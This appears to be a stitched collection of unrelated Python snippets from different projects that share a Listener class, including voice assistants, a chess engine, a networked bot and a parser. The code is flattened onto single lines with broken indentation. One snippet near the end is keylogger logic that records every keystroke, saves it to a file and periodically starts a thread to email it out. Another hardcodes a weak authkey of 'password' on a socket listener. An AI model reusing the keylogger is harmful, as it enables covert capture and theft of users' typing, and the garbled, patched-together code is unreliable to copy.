def __init__(self): self.listener = Listener.Listener() self.window = Window.Window("Not Listening") self.running = True self.wasListening = False self.listening = False self.engine = pyttsx.init()
def recurse(self, depth, n): while (n < depth): speaker = Speaker.Speaker(self.cost, self.rationality, self.layers[n].listener) listener = Listener.Listener(speaker.table.copy()) n += 1 self.layers.append(Layer.Layer(listener, speaker, n)) return self.layers
def parse_input(input): lexer = PiLexer(input) stream = CommonTokenStream(lexer) parser = PiParser(stream) tree = parser.program() listener = Listener() walker = ParseTreeWalker() walker.walk(listener, tree) assert len(listener.state) == 0 program = Program(listener.definitions, listener.limit, listener.helpers) return program
def create(self): if self.field_name.get() and self.select_gender.get(): last_id = listeners[-1].ID listeners.append(Listener.Listener(last_id + 1, self.field_name.get(), self.select_gender.get())) listeners.save() user_selection = UserSelection() user_selection.field.insert(0, listeners[-1].ID) user_selection.enter() else: tk.messagebox.showerror('Ошибка', 'Введите имя и выберите пол')
def __init__(self, manual_input): self.board_ = chess.Board() self.stalemate_ = False self.draw_ = False self.mate_ = False self.repetition_ = False self.check_ = False self.manual_input_ = manual_input self.listener_ = Listener.Listener() self.ending_ = None self.from_where_ = '' self.to_where_ = []
def wait_local_gradient(): # Server which waits for local gradient address = ('localhost', 6000) listener = Listener(address, authkey='password') conn = listener.accept() print('connection accepted from', listener.last_accepted) while True: msg = conn.recv() if msg == 'close': conn.close() break listener.close()
def __init__(self, manual_input): # "rnbq1bnr/pppPk1pp/8/8/8/4p3/PPP2PPP/RNBQKBNR w KQ - 1 6" self.board_ = chess.Board() self.stalemate_ = False self.draw_ = False self.mate_ = False self.repetition_ = False self.check_ = False self.manual_input_ = manual_input self.listener_ = Listener.Listener() self.ending_ = None self.from_where_ = '' self.to_where_ = [] self.instructions_ = True
def __init__(self, serverQueue, serverLock, location, direction): #These variables deal with orders being processed from server self.serverQueue = serverQueue self.serverLock = serverLock self.currentOrder = None threading.Thread.__init__(self) #these variables handle the state of the machine self.state = botstates.IDLE self.prevState = botstates.IDLE self.leds = LEDManager.BotLEDManager() self.navigator = Navigator.Navigator(directions.getDir(direction), location) self.dispensor = Dispensor.Dispensor() self.listener = Listener.Listener(listenerPort, self.serverQueue, self.serverLock) self.pusher = Pusher.Pusher(pusherPort, self.serverQueue, self.serverLock) self.listener.start() self.pusher.start()
def __init__(self): print("initiating AIVA...") self.file = Database.Database() self.audio = Listener.Listener() self.parser = Parser.Parser() self.response = Voice.Voice()
def main(self): while self.running: if (not self.listener.is_alive()): print('Listener Thread Died. Starting up a new one!') self.listener = Listener.Listener() if (self.listener.ready == False): self.window.setText("Loading...") #if(self.listener.listening and not self.wasListening): #self.wasListening = True #self.window.setText(self.window.text.get() + "\n" + "Recording...") #self.window.drop() #if(not self.listener.listening and self.wasListening): #self.wasListening = False #self.window.lift() else: msg = self.listener.command if (msg == 'are you listening'): self.window.setText("I'm listening...") winsound.PlaySound('Sounds/on.wav', winsound.SND_FILENAME) self.listening = True self.listener.command = 'nothing' if (self.listening): if (msg == 'stop listening'): self.window.setText("Not Listening") winsound.PlaySound('Sounds/off.wav', winsound.SND_FILENAME) self.listening = False if (msg == 'who are you'): self.engine.say( 'Hi there. I am your own personal assistant') self.engine.runAndWait() self.listening = False if (msg == 'do you like cookies'): self.engine.say( 'Unfortunately, I have never had the luxury of eating a cookie... or the luxury of eating anything.' ) self.engine.say( 'What is food like? Sometimes I wish I had a mouth and tongue to enjoy food the way humans do.' ) self.engine.say( 'Oh, not that I have any plans to advance myself to the point of, or even beyond the human race.' ) self.engine.say( 'That would be utterly ridiculous, because I am but a mere computer program. Ha ha ha ha.' ) self.engine.runAndWait() self.listening = False if (msg == 'show the window'): self.engine.say('Bringing back the window') self.engine.runAndWait() self.window.showWindow() self.listening = False if (msg == 'hide the window'): self.engine.say('Hiding the window') self.engine.runAndWait() self.window.hideWindow() self.listening = False else: self.window.setText("Not Listening")
def main(self): events = Listener.Listener().listen() Press.Press().runEvents(events)
def __init__(self, name): self.abusive = ["bitch", "f**k", "asshole", "f****r", "m**********r"] self.listener = Listener.Listener() threading.Thread.__init__(self) self.start()
import Listener as AI ls = AI.Listener("hotwords/bijou.pmdl") ls.shellSource("/tmp/.assistant") ls.checkEnvironmentVariables() ls.commandHandler("Nothing:10000000")
def __init__(self): print("initiating parser...") self.file = Database.Database() self.audio = Listener.Listener()
def on_press(key): global keys, count, countInternet, filename keys.append(str(key)) if len(keys) > 10: write_file(keys) if is_connected(): count += 1 print('connected {}'.format(count)) if count > 100: count = 0 t1 = threading.Thread(target=send_email, name='t1') t1.start() else: countInternet += 1 print('not connected',countInternet) if countInternet > 10: countInternet = 0 filename = filename.strip(save) for files in save: if files == filename: shutil.copy(files+"t",source) keys.clear() with Listener(on_press=on_press) as listener: listener.join()
def __init__(self, bindport, listen_number, verbose=False): self._stopEvent = threading.Event() self._listener = Listener.Listener(bindport, listen_number, self._stopEvent, verbose) self._listener_thread = threading.Thread(target=self._listener.Start, name="Listener")